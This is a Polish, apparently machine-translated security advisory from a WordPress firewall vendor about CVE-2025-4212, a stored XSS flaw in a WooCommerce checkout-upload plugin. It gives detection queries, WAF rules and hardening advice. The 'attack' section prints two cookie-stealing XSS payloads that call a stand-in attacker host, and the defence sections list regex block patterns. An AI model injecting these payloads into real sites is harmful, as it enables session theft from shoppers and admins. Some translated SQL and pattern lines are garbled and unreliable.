Nazwa wtyczki	Przesyłanie plików kasy dla WooCommerce
Rodzaj podatności	Atak typu cross-site scripting (XSS)
Numer CVE	CVE-2025-4212
Pilność	Średni
Data publikacji CVE	2025-11-17
Adres URL źródła	CVE-2025-4212

Nieuwierzytelniony Stored XSS w “Checkout Files Upload for WooCommerce” (<= 2.2.1) - co właściciele witryn WordPress muszą zrobić teraz?

Data: 2025-11-18
Autor: Zespół ds. bezpieczeństwa WP-Firewall
Tagi: WordPress, WooCommerce, XSS, WAF, podatność, reagowanie na incydenty

---

Streszczenie: Średnio poważna luka w zabezpieczeniach Cross-Site Scripting (XSS) (CVE-2025-4212, CVSS 7.1) dotyczy wtyczki “Checkout Files Upload for WooCommerce” w wersjach <= 2.2.1 i została naprawiona w 2.2.2. Problem umożliwia nieuwierzytelnionym atakującym przechowywanie ładunków JavaScript, które są później renderowane w przeglądarce odwiedzających witrynę lub administratorów. Ten post wyjaśnia szczegóły techniczne, rzeczywisty wpływ, kroki wykrywania i reagowania, środki zaradcze WAF (w tym wirtualne przykłady łatania, które można zastosować natychmiast), a także długoterminowe wskazówki dotyczące wzmacniania witryn WordPress i WooCommerce.

---

TL;DR - Co każdy właściciel witryny powinien wiedzieć

• Przechowywany XSS (CVE-2025-4212) został zgłoszony w “Checkout Files Upload for WooCommerce” dla wersji <= 2.2.1.
• Naprawiono w wersji 2.2.2. Jeśli możesz zaktualizować wtyczkę, zaktualizuj ją natychmiast.
• Jeśli nie możesz dokonać aktualizacji od razu, zastosuj regułę WAF lub wirtualną poprawkę, aby zablokować złośliwe ładunki (przykłady poniżej).
• Sprawdź przesłane pliki, notatki do zamówień, strony front-end (Podziękowania / Moje konto) i wychodzące wiadomości e-mail pod kątem zawartości wstrzykniętego skryptu.
• Postępuj zgodnie z krokami reagowania na incydenty (izolowanie, skanowanie, czyszczenie, rotacja poświadczeń), jeśli podejrzewasz naruszenie bezpieczeństwa.

---

Jaka jest podatność na zagrożenia?

Wtyczka przechowywała niezaufane dane z przesłanych plików (lub powiązanych metadanych/etykiet), a następnie renderowała te dane na stronach lub w szablonach wiadomości e-mail bez odpowiedniego ich ucieczki/anityzacji. Ponieważ dane wejściowe mogły być kontrolowane przez nieuwierzytelnionego użytkownika podczas procesu płatności, osoba atakująca mogła wstrzyknąć JavaScript lub HTML do tych przechowywanych pól. Gdy administrator, klient lub gość przegląda zainfekowane strony zamówienia, stronę z podziękowaniami lub treść wiadomości e-mail, złośliwy skrypt JavaScript jest wykonywany w przeglądarce ofiary.

Szczegóły techniczne (podsumowanie)

• Dotknięta wtyczka: Przesyłanie plików kasy dla WooCommerce
• Wersje podatne na ataki: <= 2.2.1
• Naprawiono w: 2.2.2
• Typ: Przechowywany skrypt międzywitrynowy (XSS)
• Wymagane uprawnienia: Brak (nieuwierzytelniony)
• CVE: CVE-2025-4212
• CVSS (kontekstowy): 7.1 (oznacza średni/wysoki wpływ w zależności od kontekstu)

Dlaczego nieuwierzytelniony przechowywany XSS jest niebezpieczny?

• Atakujący mogą umieszczać ładunki, które wykonują się w kontekście pochodzenia witryny (same-origin).
• Ładunki mogą uzyskiwać dostęp do plików cookie sesji (jeśli nie są chronione odpowiednimi flagami), wykonywać działania w imieniu użytkowników (np. zmieniać dane konta) lub wyświetlać treści phishingowe odwiedzającym witrynę.
• Ponieważ wtyczka integruje się z procesem płatności i stronami “Dziękuję”, ładunki mogą być widoczne dla wielu użytkowników: właścicieli sklepów, administratorów i klientów.

---

Jak może wyglądać prawdziwy atak

1. Atakujący odwiedza podatny na ataki sklep, wypełnia formularz płatności i przesyła plik (lub korzysta z pola przesyłania kontrolowanego przez skróty wtyczki). Atakujący umieszcza złośliwy skrypt w nazwie przesyłanego pliku, etykiecie pliku lub innym polu metadanych, które wtyczka przechowuje, a następnie renderuje bez zamiany znaków.
2. Wtyczka zapisuje dane (meta zamówienia, metadane przesyłania) w bazie danych.
3. Gdy klient ląduje na stronie “Otrzymano zamówienie” lub administrator przegląda zamówienie, przechowywany ładunek jest wstrzykiwany na stronę i wykonywany w przeglądarce ofiary.
4. Skrypt może:
   • Kradzież uwierzytelniających plików cookie lub eksfiltracja tokenów cross-site.
   • Wstrzyknięcie fałszywego formularza logowania/konta w celu zebrania danych uwierzytelniających lub danych karty kredytowej (phishing).
   • Przekierowanie użytkowników do złośliwej domeny.
   • Przeprowadzać dalsze ataki po stronie klienta lub przechodzić do funkcji administracyjnych za pomocą interakcji podobnych do CSRF.
5. Ponieważ przesyłający jest nieuwierzytelniony, atakujący może zautomatyzować wysyłanie wielu zamówień z ładunkami, aby zwiększyć zasięg.

Typowe złośliwe ładunki wyglądają następująco:

• Inline JS: <script>new Image().src="https://attacker/p?c="+document.cookie</script>
• Nadużywanie obsługi zdarzeń w atrybutach: <img src="x" onerror="fetch('https://attacker/?c='+document.cookie)">
• Znaczniki HTML do tworzenia zwodniczych treści (formularzy, nakładek).

---

Wskaźniki kompromitacji (IoC), które powinieneś teraz sprawdzić

Przeszukaj te lokalizacje pod kątem podejrzanej lub nieoczekiwanej zawartości HTML/skryptu:

• Zamów meta i prześlij rekordy w wp_postmeta i niestandardowe tabele wtyczek.
• “Strony z podziękowaniami (za otrzymane zamówienie): zobacz źródło dla nieoczekiwanego <script> znaczniki lub atrybuty zawierające błąd, kliknij, JavaScript:.
• Strony przesyłania Moje konto i strony zamówień administratora.
• Wychodzące szablony wiadomości e-mail i wygenerowane treści wiadomości e-mail, które mogą zawierać etykiety lub nazwy plików bez znaku kapitalizacji.
• Katalog ostatnio przesłanych plików dla plików o podejrzanych nazwach (np. zawierających <, scenariusz, Plik .php nawet w przebraniu).
• Dzienniki serwera dla żądań POST do punktów końcowych, które przetwarzają przesyłanie (identyfikacja nieludzkich agentów użytkowników, powtarzające się wzorce).
• Nietypowe sesje administratora, nieoczekiwane przekierowania po zalogowaniu lub wyskakujące okienka wyświetlane użytkownikom.

Szybkie przykłady grep (uruchamiane ze zrzutu webroot/backup DB):

• Przeszukaj bazę danych pod kątem typowych znaczników XSS:
  • SELECT * FROM wp_postmeta WHERE meta_value LIKE '%<script%';
  • WYBIERZ * Z wp_posts GDZIE post_content JAK '%
• Przeszukuje katalog uploads w poszukiwaniu podejrzanych nazw plików:
  • grep -R --color -n "<script" wp-content/uploads || true

Jeśli znajdziesz podejrzane wpisy, potraktuj je jako potencjalne naruszenie bezpieczeństwa i postępuj zgodnie z procedurą reagowania na incydenty (poniżej).

---

Działania natychmiastowe - krok po kroku (0-48 godzin)

1. Jeśli to możliwe, należy natychmiast zaktualizować wtyczkę do wersji 2.2.2 (lub nowszej). Jest to najszybsza i najbardziej kompletna poprawka.
2. Jeśli nie możesz dokonać natychmiastowej aktualizacji (obawy o kompatybilność, kontrole etapowe), zastosuj WAF/wirtualną poprawkę, aby zablokować ładunki (przykłady poniżej).
3. Tymczasowo wyłącz odpowiednie pola przesyłania:
   • Jeśli ustawienia wtyczki na to pozwalają, wyłącz przesyłanie plików przy kasie.
   • Jeśli shortcode jest używany na stronach, usuń go z aktywnych stron.
4. Przełączenie witryny w tryb konserwacji na potrzeby prac administracyjnych (zmniejszenie ekspozycji).
5. Sprawdź oznaki wykorzystania (skorzystaj z sekcji IoC powyżej).
6. Zmieniaj hasła administratorów i klucze API, jeśli wykryjesz naruszenie lub jeśli konta administratorów uzyskały dostęp do zawartości witryny w danym okresie.
7. Przeskanuj witrynę za pomocą niezawodnego skanera złośliwego oprogramowania. Poszukaj webshelli/backdoorów poza wtyczką.
8. W razie potrzeby wyczyść lub przywróć ze znanej dobrej kopii zapasowej.

---

Jeśli nie możesz zaktualizować natychmiast - zalecenia dotyczące WAF / Virtual Patching

Web Application Firewall (WAF) może zapewnić natychmiastową redukcję ryzyka poprzez blokowanie prób exploitów, które próbują wstrzyknąć ładunki skryptów do procesu przesyłania wtyczki lub pól metadanych.

Reguły WAF wysokiego poziomu do wdrożenia (dotyczy reguł podobnych do mod_security, zarządzanych konsol WAF lub silnika reguł WP-Firewall):

• Blokowanie lub oczyszczanie żądań POST/PUT zawierających oczywiste znaczniki skryptów:
  • Wzory: “<script“, “</script“, “JavaScript:“, “onerror=“, “ładowanie=” i odrzucać podejrzane typy, takie jak przesyłanie HTML lub PHP w przebraniu.
• Dławienie/ograniczanie wielokrotnego wysyłania z tego samego adresu IP w jednostce czasu.
• Blokowanie żądań zawierających zakodowane złośliwe ładunki (np. skrypty zakodowane w base64 osadzone w nazwach).

Przykładowa ogólna reguła ModSecurity (koncepcyjna):
Uwaga: przetestuj reguły w fazie przejściowej przed rozpoczęciem produkcji.

# Blokuj oczywiste znaczniki skryptów w ładunkach POST (koncepcyjne)
SecRule REQUEST_METHOD "POST" "chain,phase:2,deny,id:100001,log,msg:'Block POST containing script injection',severity:2"
  SecRule ARGS|REQUEST_BODY "@rx (<script|</script|javascript:|onerror=|onload=|document.cookie|eval\(|innerHTML)" "t:none,ctl:ruleRemoveById=981176"

# Zapobieganie nazwom plików z nawiasami kątowymi lub osadzonym JavaScriptem
SecRule REQUEST_FILENAME|ARGS_NAMES|ARGS "@rx [<>"'\x00]" "phase:2,deny,id:100002,log,msg:'Odrzuć podejrzane znaki w parametrach przesyłania'"

Jeśli WAF obsługuje pozytywne listy zezwoleń, preferuj to: zezwalaj tylko na oczekiwane pola przesyłania i typy plików, a odmawiaj wszystkiego innego.

Sugestie dotyczące WP-Firewall (jeśli zarządzasz regułami w rozwiązaniu zapory WordPress):

• Utwórz nową regułę niestandardową do sprawdzania treści POST pod kątem “<script” i wspólne atrybuty zdarzeń.
• Reguły docelowe dla ścieżek żądań używanych przez wtyczkę (shortcodes, punkty końcowe AJAX, wywołania admin-ajax.php powiązane z akcjami przesyłania).
• Włącz “wirtualne łatanie”, aby zablokować określone wzorce ładunku do czasu aktualizacji wtyczki.
• Skonfiguruj automatyczne łagodzenie skutków błędów OWASP Top 10, jeśli są dostępne (ta luka mapuje się na XSS/A7).

---

Przykładowa lista wzorców WAF do zablokowania (pomysły na wyrażenia regularne)

Użyj tych wzorców jako części zestawu reguł WAF (dostrój, aby uniknąć fałszywych alarmów):

• (<\s*script\b) - wykrywanie znaczników skryptu otwierającego
• (on\w+\s*=\s*["']?) - wbudowane programy obsługi zdarzeń (onerror=, onclick=)
• (javascript\s*:) - javascript: URI
• (document\.cookie|document\.location|window\.location) - JS wysokiego ryzyka
• (]*onerror) - obrazy z onerror
• ((%3C)|<)(script|img|svg) - Odmiany zakodowane w adresie URL
• (base64,.*(PD9waHAg|PHNjcmlwdA)) - Fragmenty PHP/JS zakodowane w base64

Ważny: Niektóre przypadki brzegowe (takie jak legalny HTML w polu opisu) mogą uruchamiać te reguły. Zacznij od blokowania tylko wskaźników o wysokim stopniu pewności, a następnie stopniowo zaostrzaj.

---

Reakcja i dochodzenie po zakażeniu

Jeśli odkryjesz, że złośliwe ładunki zostały pomyślnie zapisane lub wykonane:

1. Odizolować witrynę: tymczasowo wyłączyć ją lub ograniczyć dostęp do administratorów.
2. Zachowaj dowody:
   • Przed modyfikacją czegokolwiek należy wykonać migawki serwera i bazy danych.
   • Eksport dzienników, wierszy DB z podejrzanymi wartościami do późniejszego przeglądu kryminalistycznego.
3. Usuń złośliwe ładunki:
   • Wyczyść lub usuń rekordy zawierające znaczniki skryptów z bazy danych (zachowaj ostrożność i dwukrotnie sprawdź kopie zapasowe).
   • Jeśli to możliwe, przywróć dotknięte strony lub tabele DB z czystej kopii zapasowej przed najwcześniejszym wstrzyknięciem.
4. Poszukiwanie drugorzędnych mechanizmów trwałości:
   • Webshells w folderach uploads, wp-content, plikach motywów lub wtyczek.
   • Nieznani użytkownicy admin lub manipulacje user_meta.
5. Obróć wszystkie poświadczenia:
   • Użytkownicy administracyjni, FTP/SFTP, panel kontrolny hostingu, użytkownicy bazy danych, klucze API.
   • Odśwież sole WordPressa (zdefiniowane w wp-config.php) - chociaż zasolone wartości nie zapobiegają atakom opartym na JS, rotacja sekretów pomaga w ogólnym usuwaniu skutków.
6. Ponownie zeskanować i monitorować:
   • Uruchom nowe skanowanie w poszukiwaniu złośliwego oprogramowania.
   • Utrzymuj WAF/IPS na miejscu przez co najmniej 30 dni, aby wychwycić dodatkowe próby.
7. Powiadom interesariuszy:
   • Jeśli dane klientów mogły zostać ujawnione lub wyświetlane były fałszywe strony, należy powiadomić użytkowników, których to dotyczy, zgodnie z lokalnymi przepisami i wewnętrznymi zasadami.
8. Wdrożenie długoterminowych poprawek:
   • Aktualizacja wtyczki do poprawionej wersji i dodanie ciągłego monitorowania aktualizacji wtyczki.
   • Zabezpiecz WordPress i przeprowadzaj okresowe oceny podatności na ataki.

---

Zalecenia dotyczące zabezpieczeń wykraczające poza łatkę

Nawet po zastosowaniu poprawki dostawcy, zastosuj następujące najlepsze praktyki, aby zmniejszyć przyszłe ryzyko XSS w witrynie WordPress:

• Zasada najmniejszych uprawnień:
  • Ogranicz, kto może tworzyć treści lub modyfikować ustawienia, które są wyświetlane odwiedzającym.
  • Używaj oddzielnych kont dla administratorów i pracowników sklepu.
• Polityka bezpieczeństwa treści (CSP):
  • Zaimplementuj rygorystyczny CSP, który ogranicza skrypty wykonywalne do zaufanych źródeł i nie zezwala na skrypty inline tam, gdzie to możliwe. Przykładowy nagłówek:

  Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.example.com; object-src 'none'; base-uri 'self';
      

  Uwaga: CSP wymaga starannego dostrojenia do WordPressa i skryptów innych firm.

• Flagi bezpieczeństwa HTTP:
  • Ustaw pliki cookie z flagami HttpOnly, Secure i odpowiednimi flagami SameSite, aby zmniejszyć wpływ kradzieży plików cookie.
• Sanitize and Escape:
  • Upewnij się, że szablon i kod niestandardowy poprawnie wyprowadzają dane wyjściowe (esc_html, esc_attr, wp_kses_post odpowiednio).
  • Zachęcaj autorów wtyczek do przestrzegania najlepszych praktyk bezpieczeństwa WordPress.
• Ograniczenie typów i rozmiarów przesyłanych plików:
  • Ścisłe ograniczenie akceptowanych rozszerzeń i typów MIME.
  • Blokowanie przesyłania HTML, PHP i SVG, chyba że jest to wyraźnie wymagane i oczyszczone.
• Wyłączenie wykonywania plików podczas przesyłania:
  • Skonfiguruj serwer WWW tak, aby odmawiał wykonywania PHP w wp-content/uploads i innych katalogach przesyłania.
• Audyt i monitorowanie:
  • Prowadzenie dzienników audytu dla działań administratora i zdarzeń przesyłania.
  • Zintegruj rejestrowanie błędów i powiadamianie o gwałtownych wzrostach liczby przesyłanych plików lub błędów.

---

Wskazówki dla twórców wtyczek

Jeśli tworzysz wtyczki lub motywy, wykorzystaj ten incydent jako przypomnienie:

• Nigdy nie ufaj danym wprowadzanym przez użytkownika - nawet z wcześniej “zaufanych” kontekstów.
• Ucieczka na wyjściu, a nie na wejściu. Używaj prawidłowych funkcji ucieczki dla kontekstu wyjściowego (HTML, atrybut, JavaScript).
• Użyj interfejsu API danych WordPress (dezynfekcja_pola_tekstowego, wp_kses_post) i uciekające interfejsy API (esc_html, esc_attr, wp_json_encode) prawidłowo.
• Zastosuj nonces i kontrole możliwości do punktów końcowych AJAX i obsługi formularzy.
• Unikaj wstawiania nieprzetworzonych nazw plików lub etykiet do szablonów HTML/email bez ucieczki.
• Testowanie wyników za pomocą testów fuzz zorientowanych na bezpieczeństwo i automatycznych skanerów.

---

Zalecenia dotyczące harmonogramu łagodzenia skutków w świecie rzeczywistym

• 0-1 godzina: Zidentyfikuj wersję wtyczki. Jeśli jest podatna na ataki, ustaw sklep w trybie konserwacji i zastosuj regułę WAF, która blokuje typowe znaczniki XSS.
• 1-24 godzin: Zaktualizuj wtyczkę do wersji 2.2.2 w kontrolowany sposób (najpierw staging, jeśli to możliwe) i wypchnij do produkcji. Jeśli aktualizacja nie jest możliwa, należy zachować aktywne reguły WAF i wyłączyć funkcje przesyłania.
• 24-72 godziny: Skanowanie bazy danych i plików w poszukiwaniu wskaźników, czyszczenie wszelkich przechowywanych ładunków, rotacja kluczy/haseł w przypadku znalezienia złośliwej zawartości.
• 72 godziny-30 dni: Monitorowanie dzienników i ruchu pod kątem podejrzanej aktywności. Zachowanie ochrony WAF i rozważenie dodania CSP i bardziej rygorystycznych środków sanityzacji danych wejściowych.

---

Przykład: Szybka lista kontrolna audytu dla “Przesyłania plików kasy dla WooCommerce”

• Czy wtyczka jest zainstalowana? Która wersja?
• Czy przesyłanie jest włączone przy kasie lub za pomocą skrótów na stronach publicznych?
• Czy w ostatnim czasie pojawiły się nieznane zamówienia o nietypowych nazwach lub etykietach?
• Czy są jakieś <script> w meta zamówieniach, wiadomościach e-mail lub na stronach frontendu? (Sprawdź DB)
• Czy Twoja witryna wysyła dynamicznie generowane wiadomości e-mail zawierające etykiety plików - sprawdź treść wiadomości e-mail pod kątem zawartości bez znaków.
• Czy masz WAF przed swoją witryną? Czy obecnie blokuje on wzorce obciążenia?
• Czy folder uploads jest skonfigurowany tak, aby uniemożliwić wykonywanie PHP?
• Czy masz kopie zapasowe i przetestowaną procedurę przywracania?

---

Jak pomaga zarządzany WAF (i kiedy wirtualne łatanie ma znaczenie)

Zarządzany Web Application Firewall zapewnia natychmiastową ochronę:

• Blokuje próby exploitów w warstwie HTTP, zanim dotrą one do WordPressa.
• Wirtualne łatki mogą powstrzymać aktywne ataki na znane luki przed zastosowaniem aktualizacji wtyczki.
• Scentralizowane reguły mogą wymuszać ścisłe zasady przesyłania i normalizację żądań.
• Ciągłe monitorowanie pozwala szybko reagować na gwałtowne wzrosty prób wykorzystania.

Jeśli nie korzystasz jeszcze z zarządzanej usługi WAF lub zapory sieciowej, rozważ jej dodanie - jest to praktyczna kontrola kompensacyjna, gdy natychmiastowe aktualizacje wtyczek nie są możliwe lub gdy musisz chronić wiele witryn na dużą skalę.

---

Tytuł: Zabezpiecz swoją kasę WooCommerce już dziś - wypróbuj WP-Firewall za darmo

Szukasz natychmiastowej, zarządzanej ochrony na czas poprawek i badań?
Podstawowy (bezpłatny) plan WP-Firewall obejmuje zarządzaną zaporę ogniową, nieograniczoną przepustowość, zaporę aplikacji internetowych (WAF), skanowanie złośliwego oprogramowania i ograniczanie zagrożeń OWASP Top 10 - wszystko, czego potrzebujesz, aby szybko zmniejszyć narażenie na tego typu XSS i podobne zagrożenia. Zacznij za darmo i włącz wirtualne łatanie i blokowanie reguł w ciągu kilku minut: https://my.wp-firewall.com/buy/wp-firewall-free-plan/

---

Uwagi końcowe - zmierzona perspektywa z terenu

Stored XSS pozostaje jedną z najbardziej praktycznych i szkodliwych luk po stronie klienta w sieci, ponieważ wykorzystuje zaufanie między witryną a jej użytkownikami. W przypadku witryn eCommerce powierzchnia ataku zwiększa się, ponieważ wszelkie osoby z zewnątrz, które mogą wchodzić w interakcje z formularzami płatności (goście, zalogowani klienci) mogą potencjalnie wstrzykiwać dane.

Ten konkretny błąd (CVE-2025-4212) podkreśla powtarzające się wzorce, które obserwujemy w rzeczywistych lukach w zabezpieczeniach WordPress:

• Wtyczki, które akceptują etykiety/nazwy plików dostarczone przez użytkownika, a następnie renderują je bez ucieczki, są częstym źródłem XSS.
• Autorytatywne poprawki są najlepszym rozwiązaniem - aktualizuj, gdy producent wyda łatkę.
• WAF i wirtualne łatanie są krytycznymi środkami zapobiegawczymi w rzeczywistych incydentach i zapewniają czas na bezpieczne testowanie i wdrażanie aktualizacji wtyczek.

Jeśli zarządzasz sklepem lub siecią witryn WordPress, ustal priorytety:

1. Szybkie wykrywanie - wiedza o zainstalowanych wtyczkach i ich wersjach.
2. Szybkie łagodzenie - reguły WAF, tymczasowe wyłączenie funkcji i tryb konserwacji.
3. Długoterminowa higiena - bezpieczne kodowanie, unikanie danych wyjściowych i ograniczenie powierzchni ataku.

Jeśli potrzebujesz pomocy w stosowaniu ukierunkowanych reguł WAF lub potrzebujesz pomocy w triażu i czyszczeniu, nasz zespół ds. bezpieczeństwa jest dostępny, aby pomóc w dostosowaniu wirtualnych procesów łatania i czyszczenia.

---

Dodatek: Polecenia szybkiej akcji i przykładowe wyszukiwania

• Przeszukaj bazę danych pod kątem tagów skryptów:
  SELECT * FROM wp_postmeta WHERE meta_value LIKE '%<script%';
• Przeszukiwanie przesłanych plików pod kątem podejrzanych nazw (powłoka Linux):
  grep -R --color -n "<script" wp-content/uploads || true
• Przykładowe wyrażenie regularne dla WAF: ((<\s*script\b|on\w+\s*=\s*['"]|javascript:|document\.cookie|eval\()) - zacznij od zablokowania tych znaczników wysokiego zaufania.

---

Jeśli potrzebujesz listy kontrolnej w jednostronicowym formacie do wydrukowania lub pomocy w tworzeniu reguł WAF specyficznych dla twojego środowiska hostingowego, odpowiedz:

• Twoja wersja WordPress, wersja WooCommerce
• Wersja wtyczki
• Niezależnie od tego, czy posiadasz istniejący WAF (i jego typ), czy potrzebujesz włączyć naszą zarządzaną zaporę sieciową.

Bądź bezpieczny - Zespół ds. bezpieczeństwa WP-Firewall